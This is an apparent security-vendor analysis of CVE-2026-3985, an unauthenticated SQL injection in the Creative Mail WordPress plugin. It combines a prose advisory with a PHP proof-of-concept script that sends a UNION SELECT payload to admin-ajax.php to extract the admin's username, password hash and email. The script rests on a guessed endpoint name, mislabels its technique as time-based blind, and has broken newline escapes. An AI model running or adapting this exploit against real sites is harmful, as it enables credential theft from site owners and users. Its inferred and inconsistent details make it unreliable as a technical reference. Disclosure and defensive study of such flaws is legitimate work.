Atomic Edge analysis of CVE-2026-3985 (metadata-based):
This vulnerability allows unauthenticated SQL injection in the Creative Mail plugin for WordPress, affecting versions up to and including 1.6.9. The injection occurs through the ‘checkout_uuid’ parameter processed by the has_checkout_consent() method. The CVSS score of 7.5 with network vector, low attack complexity, and no required privileges indicates a serious threat that any remote attacker can exploit.
Root Cause: Based on the CWE classification and vulnerability description, the plugin fails to properly escape the ‘checkout_uuid’ parameter and does not prepare SQL statements before passing user input to queries. The has_checkout_consent() method likely constructs an SQL query by concatenating the ‘checkout_uuid’ value directly into the query string without using $wpdb->prepare() or similar parameterized query methods. This is a classic SQL injection pattern where the application trusts user-supplied data and inserts it directly into database queries. Atomic Edge analysis infers this from the description, as no source code is available for confirmation.
Exploitation: An unauthenticated attacker can send a crafted HTTP request to a WordPress endpoint that invokes the has_checkout_consent() method. The likely attack vector is an AJAX action or REST endpoint exposed by the Creative Mail plugin. The attacker supplies a malicious value for the ‘checkout_uuid’ parameter containing SQL injection payloads such as UNION-based SELECT statements to extract data from the database. The attack requires no authentication and can be executed over the network.
Remediation: The fix must use parameterized queries with $wpdb->prepare() in the has_checkout_consent() method. The ‘checkout_uuid’ parameter should be escaped using %s placeholder and passed as a separate argument to the prepare() function. Additionally, the plugin should validate the parameter format (expecting a UUID pattern) before using it in database operations. Atomic Edge analysis recommends these standard WordPress security practices.
Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database. This includes user credentials, email addresses, session tokens, and any other data stored in the database tables. The high confidentiality impact without authentication requirement makes this vulnerability critical for sites running the vulnerable plugin version.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3985 - Creative Mail – Easier WordPress & WooCommerce Email Marketing <= 1.6.9 - Unauthenticated SQL Injection
//
// This PoC demonstrates SQL injection via the 'checkout_uuid' parameter.
// Assumes the plugin registers an AJAX hook or REST endpoint that calls has_checkout_consent().
// The exact endpoint is inferred from the vulnerability description (checkout_uuid parameter).
//
<?php
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site
$ajax_action = 'creative_mail_checkout_consent'; // Assumed AJAX action name; adjust if different
// SQL injection payload: UNION select to extract admin user credentials
// Uses time-based blind technique to infer data (common for SQLi PoC)
$sql_payload = "' UNION SELECT user_login,user_pass,user_email FROM wp_users WHERE user_login='admin' -- ";
// Build the request URL
$url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php?action=' . $ajax_action . '&checkout_uuid=' . urlencode($sql_payload);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Body:n";
echo $response . "n";
?>
